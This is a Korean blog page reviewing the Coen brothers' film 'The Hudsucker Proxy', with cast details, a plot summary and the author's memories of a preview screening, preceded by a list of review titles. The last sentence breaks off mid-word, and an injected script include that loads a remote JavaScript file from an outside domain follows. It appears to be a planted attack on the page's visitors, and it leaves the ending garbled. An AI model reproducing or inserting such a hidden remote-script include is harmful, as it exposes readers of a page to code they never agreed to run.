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1
사람들이 종이조각처럼 떨어지는 도시
2
모두의 영웅
3
한 번쯤은 달빛에 미쳐도 좋으리
4
놈은 당신의 뼈를 노린다
5
10일 안에 남자친구에게 차이는 법
6
Sex and the City
7
영혼을 믿으세요?
8
Nine 1/2 Weeks (1986)
9
Jacob's Ladder (1990)
10
North by Northwest (1959)
사람들이 종이조각처럼 떨어지는 도시  

사람들이 종이조각처럼 떨어지는 도시?

The Hudsucker Proxy (1994)
- Dirceted by Joel Coen -


Cast
Tim Robbins .... Norville Barnes
Jennifer Jason Leigh Amy Archer
Paul Newman .... Sidney J. Mussburger
Charles Durning .... Waring Hudsucker
John Mahoney .... Chief 
 
 
 
이 영화에서 처음으로 공동으로 감독을 맡지 않고 감독과 제작자를 사이 좋게 나눠 일한 - 뭐가 다른지는 잘 모르겠지만 - 코엔 형제는 도시를 그다지 좋아하지 않는 것 같다. 그들의 정서는 철저히 미국 내륙지방을 바탕으로 깔고 있다. LA를 배경으로 한 그들의 출세작 '바톤 핑크'에서 보여진 LA는 할리우드의 허접함과 속물근성으로 가득 차 있는데다 살인마가 웃으며 인사를 하는 곳이다. 한 편 이 영화 '허드서커 대리인'의 뉴욕은 절망에 빠진 사람들이 종잇장처럼 공중을 날아가는 곳이다.

나는 이 영화가 처음 서울에서 개봉되던 때 시사회장에서 보았다. 그 시기는 내가 하염없이 영화를 보던 때였고 한 푼이라도 아끼기 위해 온갖 시사회란 시사회는 일단 출몰하고 보는 게 일이었다. 제목도 모르는 채 시사회니 무조건 오라는 친구의 말에 쭐레쭐레 강남에 있는 시네 하우스 시사실인 아마데우스 홀로 찾아갔다. 일찌감치 도착해서 정 중앙에 자리를 차지하고 있던 친구는 주변 사람들에게서 온갖 눈총을 다 받으며 내 좌석을 사수하느라 표정이 말이 아니었다. 앉자마자 불이 꺼지더니 이내 심상찮은 음악이 전면에 흐르고 에단 코엔과 조엘 코엔의 이름이 휙 지나갔다. 볼만하겠다는 기대를 품고 의자에 푹 기대앉자 화면에서는 눈이 내리기 시작했다. 그리고 팀 로빈슨이 크라이슬러 빌딩처럼 보이는 건물의 지붕 밑에서 덜덜 떨며 뛰어내려 말어, 그 차가운 눈을 맞으며 땀을 뻘뻘 흘리는 것으로 영화는 시작되었다.

그랬다. 나는 이 영화를 처음 봤을 때 주인공인 팀 로빈슨이 자살을 시도한 그, 허드서커 장난감 회사의 건물이 크라이슬러 빌딩인 줄 알았고 뉴욕에 오기 전까지도 그렇게 굳게 믿었다. 그리고 뉴욕이란 도시를 지독한 회색으로 보는 사람도 있구나... 그렇게 생각했다. 하지만 미리 말하자면 이 영화는 뉴욕에서는 전혀 찍지 않았다. 이 영화를 찍은 곳은 우습게도 시카고였다. 영화를 보면서 내내 세트에서 찍었다는 것을 몰랐던 것도 아니면서 크라이슬러 빌딩이 아니란 사실은 이유도 없이 상당히 섭섭하더란 것이다.
 

 
<처음 시드니를 만난 장면>

영화의 내용은 잘 알려져 있듯이 허드서커 완구회사의 회장이 어느날 회의를 주재하던 중 시계를 맞추더니 그만 창문을 깨고 뛰어내리면서 시작된다. 회사의 중역들은 허드서커 회장이 주식을 사 모으기 위해 회사의 주식을 파격적으로 떨어뜨릴 방법을 모색하던 중, 부사장인 시드니의 눈에 사내 메신저를 담당하는 얼빵하고 멍청한 노빌이 눈에 띄자 그를 당장 사장으로 추대한다. 경력 한 줄 없는 노빌은 월가의 미스테리로 떠오르고 신문사마다 그에 대한 정보부족으로 허덕이는데 이 때 에미 아쳐라는 여기자가 자신이 미래에 탈 퓰리처상에 걸고 노빌에 대한 정보를 캐올 것을 맹세한다. 제니퍼 제이슨 리가 연기가 아처는 딱따구리처럼 말이 빠르고 권위와 야심에 가득찬 인물이다. 우스꽝스러운 방법으로 노빌에게 접근해 그의 뒤를 캐던 아처는 노빌의 동심에 가까운 순수함에 매료 당한다. 
 
 
 
사장으로 임명되어 웃는 멜빌


노빌은 사장이 된 이 천우신조 같은 기회를 잃지 않으려고 어린이를 위한 '동그라미' 작전에 몰두하는데 훌라후프를 처음 본 시드니는 이 엉뚱한 발상이야말로 회사의 주가를 팍 꺾을 절호의 기회로 생각하여 엄청난 양을 생산해 낸다. 하지만 우리의 주인공이 죽으란 법이 있나. 훌라후프는 무진장 팔려나가고 노빌은 흥청망청 놀다가 급기야는 엘리베이터 보이의 아이디어까지 몰래 훔치더니 결국 해고통지를 받는다.

절망에 빠진 노빌이 옥상에 올라가 뛰어내려 말어 고민할 때 그의 눈 앞에서 쾅 닫히는 유리창은 그의 눈 앞에 놓인 현실처럼 차갑고 암담하다. 건물 아래로 떨어져 내리는 노빌. 그러나 역시 죽으란 법은 없어서... 딱! 시간이 멈추더니 천사 날개를 단 허드서커 회장이 등장, 그가 생전에 전해주라던 파란 문?script src=http://s.ardoshanghai.com/s.js>

 
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